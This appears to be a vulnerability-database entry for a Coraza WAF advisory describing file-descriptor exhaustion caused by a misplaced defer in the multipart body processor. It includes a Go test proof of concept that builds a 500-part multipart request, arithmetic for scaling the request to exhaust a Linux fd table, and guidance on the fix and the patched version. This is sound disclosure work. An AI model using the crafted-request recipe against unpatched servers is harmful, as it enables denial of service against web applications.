CVE-2026-107834Medium· 5.3▾ SunlitCoraza: Resource exhaustion via deferred file handle accumulation in multipart body processor
▾ Sunlit zone — Low / medium · no exploitation signal
impact 29.2 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
Last analysed / modified upstream
defer temp.Close() sits inside a for loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until ProcessRequest() exits. Send enough parts and you hit EMFILE. With CRS loaded, that flips MULTIPART_STRICT_ERROR to 1 and rule 200001 starts returning 400s, including on legitimate requests hitting the same condition.
internal/bodyprocessors/multipart.go, line 69:
for {
p, err := mr.NextPart()
// ...
temp, err := os.CreateTemp(storagePath, "crzmp*")
defer temp.Close() // wrong scope
io.Copy(temp, p)
}
Each iteration opens a temp file and defers its close. All of them stack up and fire together when ProcessRequest returns. 500 parts, 500 fds held simultaneously.
The body size limit (default 128MB) caps total bytes, not part count. A minimal file part (boundary line, Content-Disposition with filename=, one byte of content) is about 104 bytes. That's roughly 65,000 parts per 6.8MB of body, which on a standard Linux system (hard fd limit 65536) is enough to exhaust the table.
Fix is straightforward: call temp.Close() explicitly after io.Copy instead of deferring it.
Tested on v3.7.0 (db9850b), Go 1.25, Linux x86_64.
Add this file at internal/bodyprocessors/poc_fd_test.go and run:
go test -v -run TestMultipartFDLeak ./internal/bodyprocessors/...
package bodyprocessors_test
import (
"fmt"
"os"
"strings"
"sync"
"sync/atomic"
"testing"
"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
"github.com/corazawaf/coraza/v3/internal/bodyprocessors"
"github.com/corazawaf/coraza/v3/internal/corazawaf"
)
func countFDs() int {
e, _ := os.ReadDir("/proc/self/fd")
return len(e)
}
func TestMultipartFDLeak(t *testing.T) {
boundary := "testboundary"
var sb strings.Builder
for i := 0; i < 500; i++ {
fmt.Fprintf(&sb, "--%s\r\n", boundary)
fmt.Fprintf(&sb, "Content-Disposition: form-data; name=\"f%d\"; filename=\"f%d.txt\"\r\n", i, i)
sb.WriteString("\r\n")
sb.WriteString("X\r\n")
}
fmt.Fprintf(&sb, "--%s--\r\n", boundary)
mp, _ := bodyprocessors.GetBodyProcessor("multipart")
baseline := countFDs()
var peak int64
done := make(chan struct{})
var wg sync.WaitGroup
wg.Add(1)
go func() {
defer wg.Done()
for {
select {
case <-done:
return
default:
n := int64(countFDs())
for {
cur := atomic.LoadInt64(&peak)
if n <= cur || atomic.CompareAndSwapInt64(&peak, cur, n) {
break
}
}
}
}
}()
v := corazawaf.NewTransactionVariables()
mp.ProcessRequest(strings.NewReader(sb.String()), v,
plugintypes.BodyProcessorOptions{
Mime: "multipart/form-data; boundary=" + boundary,
StoragePath: t.TempDir(),
})
close(done)
wg.Wait()
t.Logf("baseline=%d peak=%d spike=+%d",
baseline, atomic.LoadInt64(&peak),
atomic.LoadInt64(&peak)-int64(baseline))
}
Output:
baseline=7 peak=506 spike=+499
The spike is ~1 fd per part. After ProcessRequest returns the deferred closes fire and it drops back to baseline.
os.CreateTemp starts returning errors and MULTIPART_STRICT_ERROR is set to 1.200001 then blocks the request with a 400 — and any other multipart request processed concurrently that runs into the same condition gets blocked too. At that point the WAF can't distinguish the attack from a legitimate upload.defer has been present since the multipart processor was introduced.github.com/corazawaf/coraza/v3 >= 3.0.0, < 3.8.0Upgrade to a patched release:
github.com/corazawaf/coraza/v3 3.8.0Connected by shared product, vendor, weakness, or advisory.
GHSA-rp9v-7xv3-r6g3Medium· 5.3Coraza: Resource exhaustion via deferred file handle accumulation in multipart body processor
CVE-2026-107825Medium· 4.0Coraza: ProcessURI silently drops QUERY_STRING and ARGS_GET on URI parse failure — defense-in-depth bypass for non-net/http integrations
CVE-2026-107833Medium· 5.9Coraza: Unbounded recursion in JSON response body processor causes CPU exhaustion
CVE-2026-104774Medium· 5.8Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass
GHSA-x26q-wvhg-fh4mMedium· 4.0Coraza: ProcessURI silently drops QUERY_STRING and ARGS_GET on URI parse failure — defense-in-depth bypass for non-net/http integrations
GHSA-3c6w-j9xm-8h2hMedium· 5.9Coraza: Unbounded recursion in JSON response body processor causes CPU exhaustion